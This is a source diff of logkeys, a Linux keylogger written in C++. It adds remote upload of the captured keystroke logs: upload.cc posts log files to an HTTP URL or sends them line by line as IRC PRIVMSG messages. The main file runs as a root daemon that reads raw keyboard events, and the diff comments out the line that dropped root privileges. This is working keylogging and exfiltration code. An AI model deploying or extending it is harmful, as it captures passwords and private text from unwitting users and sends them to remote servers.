char * irc_port; // if --post-irc effective, this holds the IRC port number
off_t post_size; // post log file to remote when of size post_size, --post-size switch
int flags; // holds the following option flags
#define FLAG_EXPORT_KEYMAP 0b1 // export keymap obtained from dumpkeys, --export-keymap is used
#define FLAG_NO_FUNC_KEYS 0b10 // only log character keys (e.g. 'c', '2', etc.) and don't log function keys (e.g. <LShift>, etc.), --no-func-keys switch
#define FLAG_NO_TIMESTAMPS 0b100 // don't log timestamps, --no-timestamps switch
#define FLAG_POST_HTTP 0b1000 // post log to remote HTTP server, --post-http switch
#define FLAG_POST_IRC 0b10000 // post log to remote IRC server, --post-irc switch
#define FLAG_POST_SIZE 0b100000 // post log to remote HTTP or IRC server when log of size optarg, --post-size
} args = {0}; // default all args to 0x0
void process_command_line_arguments(int argc, char **argv)
{
int flags;
struct option long_options[] = {
{"start", no_argument, 0, 's'},
{"keymap", required_argument, 0, 'm'},
{"output", required_argument, 0, 'o'},
{"us-keymap", no_argument, 0, 'u'},
{"kill", no_argument, 0, 'k'},
{"device", required_argument, 0, 'd'},
{"help", no_argument, 0, '?'},
{"export-keymap", required_argument, &flags, FLAG_EXPORT_KEYMAP},
{"no-func-keys", no_argument, &flags, FLAG_NO_FUNC_KEYS},
{"no-timestamps", no_argument, &flags, FLAG_NO_TIMESTAMPS},
{"post-http", required_argument, &flags, FLAG_POST_HTTP},
{"post-irc", required_argument, &flags, FLAG_POST_IRC},
{"post-size", required_argument, &flags, FLAG_POST_SIZE},
{0}
};
char c;
int option_index;
while ((c = getopt_long(argc, argv, "sm:o:ukd:?", long_options, &option_index)) != -1)
{
switch (c)
{
case 's': args.start = true; break;
case 'm': args.keymap = optarg; break;
case 'o': args.logfile = optarg; break;
case 'u': args.us_keymap = true; break;
case 'k': args.kill = true; break;
case 'd': args.device = optarg; break;
case 0 :
args.flags |= flags;
switch (flags)
{
case FLAG_EXPORT_KEYMAP: args.keymap = optarg; break;
case FLAG_POST_HTTP:
if (strncmp(optarg, "http://", 7) != 0)
error(EXIT_FAILURE, 0, "HTTP URL must be like \"http://domain:port/script\"");
args.http_url = optarg;
break;
case FLAG_POST_IRC: {
// optarg string should be like "entity@server:port", now dissect it
char *main_sep = strrchr(optarg, '@');
char *port_sep = strrchr(optarg, ':');
if (main_sep == NULL || port_sep == NULL)
error(EXIT_FAILURE, 0, "Invalid IRC FORMAT! Must be: nick_or_channel@server:port. See manual!");
*main_sep = '\0'; // replace @ with \0 to have entity string that starts at optarg
*port_sep = '\0'; // replace : with \0 to have server string that starts at main_sep+1
args.irc_entity = optarg;
args.irc_server = main_sep + 1;
args.irc_port = port_sep + 1;
break;
}
case FLAG_POST_SIZE:
args.post_size = atoi(optarg);
switch (optarg[strlen(optarg) - 1]) // process any trailing M(egabytes) or K(ilobytes)
{
case 'K': case 'k': args.post_size *= 1000; break;
case 'M': case 'm': args.post_size *= 1000000; break;
}
}
break;
case '?': usage(); exit(EXIT_SUCCESS);
default : usage(); exit(EXIT_FAILURE);
}
} // while
while(optind < argc)
error(0, 0, "Non-option argument %s", argv[optind++]);
}
} // namespace logkeys
#endif // _ARGS_H_

View File

@ -1,5 +1,13 @@
#ifndef _DEFAULT_KEYS_H_
#define _DEFAULT_KEYS_H_
/*
Copyleft (ɔ) 2009 Kernc
This program is free software. It comes with absolutely no warranty whatsoever.
See COPYING for further information.
Project homepage: http://code.google.com/p/logkeys/
*/
#ifndef _KEYTABLES_H_
#define _KEYTABLES_H_
#include <cassert>
#include <linux/input.h>
@ -13,7 +21,7 @@ wchar_t altgr_keys[49] = {0}; // old, US don't use AltGr key: L"\0@\0$\0\0{[]}\\
// TODO: add altgr_shift_keys[] (http://en.wikipedia.org/wiki/AltGr_key#US_international)
wchar_t func_keys[][8] = {
L"<Esc>", L"<BckSp>", L"<Tab>", L"<Enter>", L"<LCtrl>", L"<LShft>", L"<RShft>", L"<KP*>", L"<LAlt>", L" L", L"<CpsLk>", L"<F1>", L"<F2>", L"<F3>", L"<F4>", L"<F5>",
L"<Esc>", L"<BckSp>", L"<Tab>", L"<Enter>", L"<LCtrl>", L"<LShft>", L"<RShft>", L"<KP*>", L"<LAlt>", L" ", L"<CpsLk>", L"<F1>", L"<F2>", L"<F3>", L"<F4>", L"<F5>",
L"<F6>", L"<F7>", L"<F8>", L"<F9>", L"<F10>", L"<NumLk>", L"<ScrLk>", L"<KP7>", L"<KP8>", L"<KP9>", L"<KP->", L"<KP4>", L"<KP5>", L"<KP6>", L"<KP+>", L"<KP1>",
L"<KP2>", L"<KP3>", L"<KP0>", L"<KP.>", /*"<",*/ L"<F11>", L"<F12>", L"<KPEnt>", L"<RCtrl>", L"<KP/>", L"<PrtSc>", L"<AltGr>", L"<Break>" /*linefeed?*/, L"<Home>", L"<Up>", L"<PgUp>",
L"<Left>", L"<Right>", L"<End>", L"<Down>", L"<PgDn>", L"<Ins>", L"<Del>", L"<Pause>", L"<LMeta>", L"<RMeta>", L"<Menu>"
@ -91,4 +99,4 @@ inline int to_func_keys_index(unsigned int keycode)
} // namespace logkeys
#endif
#endif // _KEYTABLES_H_

View File

@ -1,3 +1,11 @@
/*
Copyleft (ɔ) 2009 Kernc
This program is free software. It comes with absolutely no warranty whatsoever.
See COPYING for further information.
Project homepage: http://code.google.com/p/logkeys/
*/
#include <cstdlib>
#include <unistd.h>

View File

@ -1,3 +1,11 @@
/*
Copyleft (ɔ) 2009 Kernc
This program is free software. It comes with absolutely no warranty whatsoever.
See COPYING for further information.
Project homepage: http://code.google.com/p/logkeys/
*/
#include <cstdlib>
#include <unistd.h>

View File

@ -10,18 +10,19 @@
#include <cerrno>
#include <cwchar>
#include <cstring>
#include <fstream>
#include <sstream>
#include <cstdlib>
#include <csignal>
#include <error.h>
#include <netdb.h>
#include <unistd.h>
#include <getopt.h>
#include <sys/file.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <linux/input.h>
#include "keytables.cc" // character and function key tables and helper functions
#ifdef HAVE_CONFIG_H
# include <config.h> // include config produced from ./configure
#endif
@ -30,7 +31,7 @@
# define PACKAGE_VERSION "0.1.0" // if PACKAGE_VERSION wasn't defined in <config.h>
#endif
// following EXE_* macros should be defined in config.h; if not, default
// the following path-to-executable macros should be defined in config.h;
#ifndef EXE_PS
# define EXE_PS "/bin/ps"
#endif
@ -44,40 +45,22 @@
#endif
#define COMMAND_STR_DUMPKEYS ( EXE_DUMPKEYS " -n | " EXE_GREP " '^\\([[:space:]]shift[[:space:]]\\)*\\([[:space:]]altgr[[:space:]]\\)*keycode'" )
#define COMMAND_STR_DEVICES ( EXE_GREP " Name /proc/bus/input/devices | " EXE_GREP " -nE '[Kk]eyboard|kbd'" )
#define COMMAND_STR_DEVICES EXE_GREP " Name /proc/bus/input/devices | " EXE_GREP " -nE "
#define COMMAND_STR_DEVICES1 ( COMMAND_STR_DEVICES "'[Kk]eyboard|kbd'" )
#define COMMAND_STR_DEVICES2 ( COMMAND_STR_DEVICES "'HID'" )
#define COMMAND_STR_GET_PID ( (std::string(EXE_PS " ax | " EXE_GREP " '") + program_invocation_name + "' | " EXE_GREP " -v grep").c_str() )
#define INPUT_EVENT_PATH "/dev/input/"
#define DEFAULT_LOG_FILE "/var/log/logkeys.log"
#define PID_FILE "/var/run/logkeys.pid"
#define INPUT_EVENT_PATH "/dev/input/" // standard path
#define DEFAULT_LOG_FILE "/var/log/logkeys.log"
#define PID_FILE "/var/run/logkeys.pid"
#include "usage.cc" // usage() function
#include "args.cc" // global arguments struct and arguments parsing
#include "keytables.cc" // character and function key tables and helper functions
#include "upload.cc" // functions concerning remote uploading of log file
namespace logkeys {
void usage()
{
fprintf(stderr,
"Usage: logkeys [OPTION]...\n"
"Log depressed keyboard keys.\n"
"\n"
" -s, --start start logging keypresses\n"
" -m, --keymap=FILE use keymap FILE\n"
" -o, --output=FILE log output to FILE [" DEFAULT_LOG_FILE "]\n"
" -u, --us-keymap use en_US keymap instead of configured default\n"
" -k, --kill kill running logkeys process\n"
" -d, --device=FILE input event device [eventX from " INPUT_EVENT_PATH "]\n"
" -?, --help print this help screen\n"
" --export-keymap=FILE export configured keymap to FILE and exit\n"
" --no-func-keys log only character keys\n"
"\n"
"Examples: logkeys -s -m mylang.map -o ~/.secret/keys.log\n"
" logkeys -s -d /dev/input/event6\n"
" logkeys -k\n"
"\n"
"logkeys version: " PACKAGE_VERSION "\n"
"logkeys homepage: <http://code.google.com/p/logkeys/>\n"
);
}
// executes cmd and returns string ouput or "ERR" on pipe error
std::string execute(const char* cmd)
{
@ -93,17 +76,6 @@ std::string execute(const char* cmd)
return result;
}
struct arguments
{
bool start; // start keylogger, -s switch
bool kill; // stop keylogger, -k switch
bool us_keymap; // use default US keymap, -u switch
int export_keymap; // export keymap obtained from dumpkeys, --export-keymap
int nofunc; // only log character keys (e.g. 'c', '2', etc.) and don't log function keys (e.g. <LShift>, etc.), --no-func-keys switch
char * logfile; // user-specified log filename, -o switch
char * keymap; // user-specified keymap file, -m switch or --export-keymap
char * device; // user-specified input event device, given with -d switch
} args = {0}; // default all args to 0x0
int input_fd = -1; // input event device file descriptor; global so that signal_handler() can access it
@ -133,13 +105,13 @@ void exit_cleanup(int status, void *discard)
void create_PID_file()
{
// create temp file carrying PID for later retrieval
int temp_fd = open(PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644);
if (temp_fd != -1) {
int pid_fd = open(PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644);
if (pid_fd != -1) {
char pid_str[16] = {0};
sprintf(pid_str, "%d", getpid());
if (write(temp_fd, pid_str, strlen(pid_str)) == -1)
if (write(pid_fd, pid_str, strlen(pid_str)) == -1)
error(EXIT_FAILURE, errno, "Error writing to PID file '" PID_FILE "'");
close(temp_fd);
close(pid_fd);
}
else {
if (errno == EEXIST)
@ -178,11 +150,14 @@ void kill_existing_process()
void set_signal_handling()
{ // catch SIGHUP, SIGINT and SIGTERM signals to exit gracefully
struct sigaction act = {};
struct sigaction act = {{0}};
act.sa_handler = signal_handler;
sigaction(SIGHUP, &act, NULL);
sigaction(SIGINT, &act, NULL);
sigaction(SIGTERM, &act, NULL);
// prevent child processes from becoming zombies
act.sa_handler = SIG_IGN;
sigaction(SIGCHLD, &act, NULL);
}
void determine_system_keymap()
@ -254,6 +229,7 @@ void determine_system_keymap()
} // while (getline(dump, line))
}
void parse_input_keymap()
{
// custom map will be used; erase existing US keytables
@ -350,71 +326,53 @@ void export_keymap_to_file()
void determine_input_device()
{
// better be safe than sory: while running other programs, switch user to nobody
setegid(65534); seteuid(65534);
// extract input number from /proc/bus/input/devices (I don't know how to do it better. If you have an idea, please let me know.)
std::string output = execute(COMMAND_STR_DEVICES);
std::string output = execute(COMMAND_STR_DEVICES1);
int index = atoi(output.c_str()) - 1;
if (index == -1) {
output = execute(COMMAND_STR_DEVICES2);
index = atoi(output.c_str()) - 1;
}
if (index == -1) {
error(0, 0, "Couldn't determine keyboard device. :/");
error(EXIT_FAILURE, 0, "Please post contents of your /proc/bus/input/devices file as a new bug report. Thanks!");
}
std::stringstream input_dev_index;
input_dev_index << INPUT_EVENT_PATH;
input_dev_index << "event";
input_dev_index << (atoi(output.c_str()) - 1); // the correct input event # is (output - 1)
input_dev_index << index; // the correct input event # is (output - 1)
args.device = const_cast<char*>(input_dev_index.str().c_str()); // const_cast safe because original isn't modified
// now we reclaim those root privileges
seteuid(0); setegid(0);
}
int main(int argc, char **argv)
{
on_exit(exit_cleanup, NULL);
if (geteuid()) error(EXIT_FAILURE, errno, "Got r00t?");
// default log file will be used if none specified
args.logfile = (char*) DEFAULT_LOG_FILE;
args.logfile = (char*) DEFAULT_LOG_FILE; // default log file will be used if none specified
{ // process options and arguments
struct option long_options[] = {
{"start", no_argument, 0, 's'},
{"keymap", required_argument, 0, 'm'},
{"output", required_argument, 0, 'o'},
{"us-keymap", no_argument, 0, 'u'},
{"kill", no_argument, 0, 'k'},
{"device", required_argument, 0, 'd'},
{"help", no_argument, 0, '?'},
#define EXPORT_KEYMAP_INDEX 7
{"export-keymap", required_argument, &args.export_keymap, 1}, // option_index of export-keymap is EXPORT_KEYMAP_INDEX (7)
{"no-func-keys", no_argument, &args.nofunc, 1},
{0}
};
char c;
int option_index;
while ((c = getopt_long(argc, argv, "sm:o:ukd:?", long_options, &option_index)) != -1)
switch (c) {
case 's': args.start = true; break;
case 'm': args.keymap = optarg; break;
case 'o': args.logfile = optarg; break;
case 'u': args.us_keymap = true; break;
case 'k': args.kill = true; break;
case 'd': args.device = optarg; break;
case 0 :
if (option_index == EXPORT_KEYMAP_INDEX)
args.keymap = optarg;
break;
case '?': usage(); exit(EXIT_SUCCESS);
default : usage(); exit(EXIT_FAILURE);
}
while(optind < argc)
error(0, 0, "Non-option argument %s", argv[optind++]);
} // process arguments
process_command_line_arguments(argc, argv);
// kill existing logkeys process
if (args.kill) kill_existing_process();
if (!args.start && !args.export_keymap) { usage(); exit(EXIT_FAILURE); }
// if neither start nor export, that must be an error
if (!args.start && !(args.flags & FLAG_EXPORT_KEYMAP)) { usage(); exit(EXIT_FAILURE); }
// if posting remote and post_size not set, set post_size to default [500K bytes]
if (args.post_size == 0 && (args.http_url || args.irc_server)) {
args.post_size = 500000;
}
// check for incompatible flags
if (args.keymap && args.us_keymap) {
@ -423,16 +381,16 @@ int main(int argc, char **argv)
set_utf8_locale();
if (args.start && args.keymap && !args.export_keymap) {
if (args.start && args.keymap && !(args.flags & FLAG_EXPORT_KEYMAP)) {
// read keymap from file
parse_input_keymap();
}
else if ((args.start && !args.us_keymap) || args.export_keymap) {
else if ((args.start && !args.us_keymap) || (args.flags & FLAG_EXPORT_KEYMAP)) {
// get keymap used by the system and optionally export it to file
determine_system_keymap();
// export keymap if so requested
if (args.export_keymap) export_keymap_to_file();
if ((args.flags & FLAG_EXPORT_KEYMAP)) export_keymap_to_file();
}
if (args.device == NULL) { // no device given with -d switch
@ -446,10 +404,9 @@ int main(int argc, char **argv)
set_signal_handling();
int nochdir;
int nochdir = 0;
if (args.logfile[0] != '/')
nochdir = 1; // don't chdir (logfile specified with relative path)
else nochdir = 0;
int noclose = 1; // don't close streams (stderr used)
if (daemon(nochdir, noclose) == -1) // become daemon
error(EXIT_FAILURE, errno, "Failed to become daemon");
@ -470,10 +427,8 @@ int main(int argc, char **argv)
// open log file as stdout (if file doesn't exist, create it with safe 0600 permissions)
umask(0177);
stdout = freopen(args.logfile, "a", stdout);
if (stdout == NULL) {
error(0, errno, "Error opening output file '%s'", args.logfile);
exit(EXIT_FAILURE);
}
if (stdout == NULL)
error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.logfile);
// now we need those privileges back in order to create system-wide PID_FILE
seteuid(0); setegid(0);
@ -481,23 +436,30 @@ int main(int argc, char **argv)
create_PID_file();
// now we've got everything we need, finally drop privileges by becoming 'nobody'
setegid(65534); seteuid(65534);
//setegid(65534); seteuid(65534);
unsigned int scan_code, prev_code = 0; // the key code of the pressed key (some codes are from "scan code set 1", some are different (see <linux/input.h>)
struct input_event event;
char timestamp[32]; // timestamp string, long enough to hold format "\n%F %T%z > "
char repeat[16]; // holds "key repeated" string of the format "<x%d>"
bool shift_in_effect = false;
bool altgr_in_effect = false;
bool ctrl_in_effect = false; // used for identifying Ctrl+C / Ctrl+D
int count_repeats = 0; // count_repeats differs from the actual number of repeated characters!! only the OS knows how these two values are related (by respecting configured repeat speed and delay)
struct stat st;
stat(args.logfile, &st);
off_t file_size = st.st_size; // log file is currently file_size bytes "big"
int inc_size; // is added to file_size in each iteration of keypress reading, adding number of bytes written to log file in that iteration
time_t cur_time;
time(&cur_time);
#define TIME_FORMAT "%F %T%z > "
strftime(timestamp, sizeof(timestamp), "\n" TIME_FORMAT, localtime(&cur_time));
#define TIME_FORMAT "%F %T%z > " // results in YYYY-mm-dd HH:MM:SS+ZZZZ
strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time));
fprintf(stdout, "Logging started ...\n%s", timestamp);
if (args.flags & FLAG_NO_TIMESTAMPS)
file_size += fprintf(stdout, "Logging started at %s\n\n", timestamp);
else
file_size += fprintf(stdout, "Logging started ...\n\n%s", timestamp);
fflush(stdout);
// infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd)
@ -509,27 +471,57 @@ int main(int argc, char **argv)
#define EV_REPEAT 2 // when key switches to repeating after short delay
if (event.type != EV_KEY) continue; // keyboard events are always of type EV_KEY
inc_size = 0;
scan_code = event.code;
if (scan_code >= sizeof(char_or_func)) { // keycode out of range, log error
fprintf(stdout, "<E-%x>", scan_code);
inc_size += fprintf(stdout, "<E-%x>", scan_code);
if (inc_size > 0) file_size += inc_size;
continue;
}
// if remote posting is enabled and size treshold is reached
if (args.post_size != 0 && file_size >= args.post_size && stat(UPLOADER_PID_FILE, &st) == -1) {
fclose(stdout);
std::stringstream ss;
for (int i = 1;; ++i) {
ss.clear();
ss.str("");
ss << args.logfile << "." << i;
if (stat(ss.str().c_str(), &st) == -1) break; // file .log.i doesn't yet exist
}
if (rename(args.logfile, ss.str().c_str()) == -1) // move current log file to indexed
error(EXIT_FAILURE, errno, "Error renaming logfile");
stdout = fopen(args.logfile, "a"); // open empty log file with the same name
if (stdout == NULL)
error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.logfile);
file_size = 0; // new log file is now empty
// TODO: write new timestamp
switch (fork())
{
case -1: error(0, errno, "Error while forking remote-posting process");
case 0:
start_remote_upload(); // child process will upload the .log.i files
exit(EXIT_SUCCESS);
}
}
// on key repeat ; must check before on key press
if (event.value == EV_REPEAT) {
++count_repeats;
} else if (count_repeats) {
if (prev_code == KEY_RIGHTSHIFT || prev_code == KEY_LEFTCTRL ||
prev_code == KEY_RIGHTALT || prev_code == KEY_LEFTALT ||
prev_code == KEY_LEFTSHIFT || prev_code == KEY_RIGHTCTRL); // do nothing if the cause of repetition are these function keys
prev_code == KEY_LEFTSHIFT || prev_code == KEY_RIGHTCTRL); // if repeated key is modifier, do nothing
else {
if (args.nofunc && is_func_key(prev_code)); // if repeated was function key, and if we don't log function keys, then don't log repeat either
else {
sprintf(repeat, "<#+%d>", count_repeats); // else print some dubious note of repetition
fprintf(stdout, "%s", repeat);
}
if ((args.flags & FLAG_NO_FUNC_KEYS) && is_func_key(prev_code)); // if repeated was function key, and if we don't log function keys, then don't log repeat either
else inc_size += fprintf(stdout, "<#+%d>", count_repeats);
}
count_repeats = 0; // reset count for future use
}
@ -541,9 +533,14 @@ int main(int argc, char **argv)
if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER ||
(ctrl_in_effect && (scan_code == KEY_C || scan_code == KEY_D))) {
if (ctrl_in_effect)
fprintf(stdout, "%lc", char_keys[to_char_keys_index(scan_code)]); // log C or D
strftime(timestamp, sizeof(timestamp), "\n" TIME_FORMAT, localtime(&event.time.tv_sec));
fprintf (stdout, "%s", timestamp); // then newline and timestamp
inc_size += fprintf(stdout, "%lc", char_keys[to_char_keys_index(scan_code)]); // log C or D
if (args.flags & FLAG_NO_TIMESTAMPS)
inc_size += fprintf(stdout, "\n");
else {
strftime(timestamp, sizeof(timestamp), "\n" TIME_FORMAT, localtime(&event.time.tv_sec));
inc_size += fprintf(stdout, "%s", timestamp); // then newline and timestamp
}
if (inc_size > 0) file_size += inc_size;
continue; // but don't log "<Enter>"
}
@ -559,35 +556,32 @@ int main(int argc, char **argv)
wchar_t wch;
if (altgr_in_effect) {
wch = altgr_keys[to_char_keys_index(scan_code)];
if (wch != L'\0') fprintf(stdout, "%lc", wch);
else if (shift_in_effect) {
wch = shift_keys[to_char_keys_index(scan_code)];
if (wch != L'\0') fprintf(stdout, "%lc", wch);
}
else {
wch = char_keys[to_char_keys_index(scan_code)];
if (wch != L'\0') fprintf(stdout, "%lc", wch);
if (wch == L'\0') {
if(shift_in_effect)
wch = shift_keys[to_char_keys_index(scan_code)];
else
wch = char_keys[to_char_keys_index(scan_code)];
}
}
else if (shift_in_effect) {
wch = shift_keys[to_char_keys_index(scan_code)];
if (wch != L'\0') fprintf(stdout, "%lc", wch);
if (wch == L'\0')
wch = char_keys[to_char_keys_index(scan_code)];
}
else {
else // neither altgr nor shift are effective, this is a normal char
wch = char_keys[to_char_keys_index(scan_code)];
if (wch != L'\0') fprintf(stdout, "%lc", wch);
}
}
if (wch != L'\0') inc_size += fprintf(stdout, "%lc", wch); // write character to log file
}
else if (is_func_key(scan_code)) {
if (!args.nofunc) { // only log function keys if --no-func-keys not requested
fprintf(stdout, "%ls", func_keys[to_func_keys_index(scan_code)]);
if (!(args.flags & FLAG_NO_FUNC_KEYS)) { // only log function keys if --no-func-keys not requested
inc_size += fprintf(stdout, "%ls", func_keys[to_func_keys_index(scan_code)]);
}
else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) {
// but always log a single space for Space and Tab keys
fprintf(stdout, " ");
inc_size += fprintf(stdout, " "); // but always log a single space for Space and Tab keys
}
}
else fprintf(stdout, "<E-%x>", scan_code); // keycode is neither of character nor function, log error
else inc_size += fprintf(stdout, "<E-%x>", scan_code); // keycode is neither of character nor function, log error
} // if (EV_MAKE)
// on key release
@ -602,6 +596,8 @@ int main(int argc, char **argv)
prev_code = scan_code;
fflush(stdout);
if (inc_size > 0) file_size += inc_size;
} // while (read(input_fd))
// append final timestamp, close files and exit
@ -618,7 +614,8 @@ int main(int argc, char **argv)
} // namespace logkeys
int main(int argc, char** argv) {
logkeys::main(argc, argv);
int main(int argc, char** argv)
{
return logkeys::main(argc, argv);
}

264
src/upload.cc Normal file
View File

@ -0,0 +1,264 @@
/*
Copyleft (ɔ) 2009 Kernc
This program is free software. It comes with absolutely no warranty whatsoever.
See COPYING for further information.
Project homepage: http://code.google.com/p/logkeys/
*/
#ifndef _UPLOAD_H_
#define _UPLOAD_H_
#define UPLOADER_PID_FILE "/var/run/logkeys.upload.pid" // pid file for the remote-uploading process
namespace logkeys {
int sendall(int sockfd, const char *buf, size_t len)
{
size_t total = 0;
int n = 0; // how many bytes we've sent
size_t bytesleft = len; // how many we have left to send
while(total < len) {
if ((n = send(sockfd, buf + total, bytesleft, 0)) == -1)
break;
total += n;
bytesleft -= n;
}
return n == -1 ? -1 : 0; // return -1 on failure, 0 on success
}
int open_connection(const char *server, const char *port)
{
struct addrinfo *servinfo, *p; // servinfo will point to IP results
struct addrinfo hints = {0};
hints.ai_family = AF_UNSPEC; // will "resolve" both IPv4 or IPv6 addresses/hosts
hints.ai_socktype = SOCK_STREAM; // we will use TCP stream
int status, sockfd;
if ((status = getaddrinfo(server, port, &hints, &servinfo)) != 0)
error(EXIT_FAILURE, 0, "getaddrinfo() error (%s:%s): %s", server, port, gai_strerror(status));
// loop through the servinfo list and connect to the first connectable address
for (p = servinfo; p != NULL; p = p->ai_next) {
if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
continue;
if (connect(sockfd, p->ai_addr, p->ai_addrlen) == -1) {
close(sockfd);
continue;
}
break;
}
if (p == NULL) sockfd = -1; // if connecting failed, return -1
freeaddrinfo(servinfo); // free the servinfo linked-list
return sockfd;
}
char * read_socket(int sockfd)
{
#define STR_SIZE 1000000
static char str[STR_SIZE] = {0};
if (recv(sockfd, str, STR_SIZE, 0) == -1)
return NULL;
return str;
}
int sockfd;
bool isKilled = false;
void uploader_signal_handler(int signal)
{
isKilled = true;
close(sockfd);
}
void start_remote_upload()
{
int pid_fd = open(UPLOADER_PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644);
if (pid_fd == -1) {
error(EXIT_FAILURE, errno, "Error creating uploader PID file '" UPLOADER_PID_FILE "'");
}
// catch SIGHUP, SIGINT, SIGTERM signals to exit gracefully
struct sigaction act = {{0}};
act.sa_handler = uploader_signal_handler;
sigaction(SIGHUP, &act, NULL);
sigaction(SIGINT, &act, NULL);
sigaction(SIGTERM, &act, NULL);
#define MAX_FILES 1000
char successful[MAX_FILES] = {0}; // array holding results
int last_index; // determine how many logfiles.X are there
for (last_index = 1; last_index < MAX_FILES; ++last_index) {
std::stringstream filename;
filename << args.logfile << '.' << last_index;
std::ifstream ifs(filename.str().c_str());
if (!ifs) break;
ifs.close();
}
--last_index; // logfile.last_index is the last one
// POST to remote HTTP server
if (args.http_url) {
std::string url = std::string(args.http_url);
std::string port = "80";
std::string host = url.substr(url.find("://") + 3);
std::string location = host.substr(host.find("/"));
host = host.substr(0, host.find("/"));
if (host.find(":") != std::string::npos) { // if port specified (i.e. "http://hostname:port/etc")
port = host.substr(host.find(":") + 1);
host = host.substr(0, host.find(":"));
}
srand(time(NULL));
for (int i = 1; i <= last_index && !isKilled; ++i) {
std::stringstream filename;
filename << args.logfile << '.' << i;
std::ifstream ifs(filename.str().c_str());
if (!ifs) break;
sockfd = open_connection(host.c_str(), port.c_str());
if (sockfd == -1) break;
std::string line, file_contents;
while(getline(ifs, line)) file_contents += line + "\n";
ifs.close();
std::stringstream boundary, postdata, obuf;
boundary << "---------------------------" << time(NULL) << rand() << rand();
postdata << "--" << boundary.str() << "\r\n" <<
"Content-Disposition: form-data; name=\"file\"; filename=\"" << filename.str() << "\"\r\n"
"Content-Type: text/plain\r\n\r\n" << file_contents << "\r\n--" << boundary.str() << "--\r\n";
obuf <<
"POST " << location << " HTTP/1.1\r\n"
"Host: " << host << "\r\n"
"User-Agent: logkeys (http://code.google.com/p/logkeys/)\r\n"
"Accept: */*\r\n"
"Content-Type: multipart/form-data; boundary=" << boundary.str() << "\r\n"
"Content-Length: " << postdata.str().size() << "\r\n"
"\r\n" << postdata.str();
if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
close(sockfd);
error(0, errno, "Error sending output");
break;
}
sleep(1);
if (strncmp(read_socket(sockfd), "HTTP/1.1 200", 12) == 0)
++successful[i - 1];
if (successful[i - 1] && !args.irc_server) remove(filename.str().c_str());
close(sockfd);
}
}
// post to remote IRC server
if (args.irc_server && !isKilled) {
sockfd = open_connection(args.irc_server, args.irc_port);
if (sockfd == -1) {
remove(UPLOADER_PID_FILE);
error(EXIT_FAILURE, errno, "Failed to connect to remote server(s)");
}
fprintf(stderr, "posting IRC...\n"); // debug
srand(time(NULL));
int random = rand() % 999999; // random 6 digits will be part of IRC nickname
std::stringstream obuf;
obuf << "USER lk" << random << " 8 * :http://code.google.com/p/logkeys\r\n"
"NICK lk" << random << "\r\n";
if (args.irc_entity[0] == '#') // if entity is a channel, add command to join it
obuf << "JOIN " << args.irc_entity << "\r\n";
if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
remove(UPLOADER_PID_FILE);
error(EXIT_FAILURE, errno, "Error sending output");
}
obuf.clear();
obuf.str("");
for (int i = 1; i <= last_index && !isKilled; ++i) {
std::stringstream filename;
filename << args.logfile << '.' << i;
std::ifstream ifs(filename.str().c_str());
if (!ifs) break;
std::string line;
while (std::getline(ifs, line)) {
#define IRC_MAX_LINE_SIZE 400
while (line.size() > IRC_MAX_LINE_SIZE) {
obuf << "PRIVMSG " << args.irc_entity << " :"
<< line.substr(0, IRC_MAX_LINE_SIZE) << "\r\n";
if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
remove(UPLOADER_PID_FILE);
error(EXIT_FAILURE, errno, "Error sending output");
}
obuf.clear();
obuf.str("");
sleep(1);
line = line.substr(IRC_MAX_LINE_SIZE);
}
obuf << "PRIVMSG " << args.irc_entity << " :" << line << "\r\n";
if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
remove(UPLOADER_PID_FILE);
error(EXIT_FAILURE, errno, "Error sending output");
}
obuf.clear();
obuf.str("");
}
ifs.close();
sleep(1);
++successful[i - 1];
}
close(sockfd);
}
char successful_treshold = 0; // determine how many post methods were supposed to be used
if (args.http_url) ++successful_treshold;
if (args.irc_server) ++successful_treshold;
// remove all successfully uploaded files...
for (int i = 1, j = 1; i <= last_index; ++i) {
std::stringstream filename;
filename << args.logfile << '.' << i;
if (successful[i - 1] == successful_treshold) {
remove(filename.str().c_str());
}
else if (i != j) { // ...and rename unsuccessfully uploaded files so they run in uniform range logfile.X for X = 1..+
std::stringstream target_name;
target_name << args.logfile << '.' << j;
rename(filename.str().c_str(), target_name.str().c_str());
++j;
}
}
close(pid_fd);
remove(UPLOADER_PID_FILE);
}
} // namespace logkeys
#endif // _UPLOAD_H_

45
src/usage.cc Normal file
View File

@ -0,0 +1,45 @@
/*
Copyleft (ɔ) 2009 Kernc
This program is free software. It comes with absolutely no warranty whatsoever.
See COPYING for further information.
Project homepage: http://code.google.com/p/logkeys/
*/
#ifndef _USAGE_H_
#define _USAGE_H_
namespace logkeys {
void usage()
{
fprintf(stderr,
"Usage: logkeys [OPTION]...\n"
"Log depressed keyboard keys.\n"
"\n"
" -s, --start start logging keypresses\n"
" -m, --keymap=FILE use keymap FILE\n"
" -o, --output=FILE log output to FILE [" DEFAULT_LOG_FILE "]\n"
" -u, --us-keymap use en_US keymap instead of configured default\n"
" -k, --kill kill running logkeys process\n"
" -d, --device=FILE input event device [eventX from " INPUT_EVENT_PATH "]\n"
" -?, --help print this help screen\n"
" --export-keymap=FILE export configured keymap to FILE and exit\n"
" --no-func-keys log only character keys\n"
" --no-timestamps don't prepend timestamps to log file lines\n"
" --post-http=URL POST log to URL as multipart/form-data file\n"
//" --post-irc=FORMAT FORMAT is nick_or_channel@server:port\n"
" --post-size=SIZE post log file when size equals SIZE [500k]\n"
"\n"
"Examples: logkeys -s -m mylang.map -o ~/.secret-keys.log\n"
" logkeys -s -d event6\n"
" logkeys -k\n"
"\n"
"logkeys version: " PACKAGE_VERSION "\n"
"logkeys homepage: <http://code.google.com/p/logkeys/>\n"
);
}
} // namespace logkeys
#endif // _USAGE_H_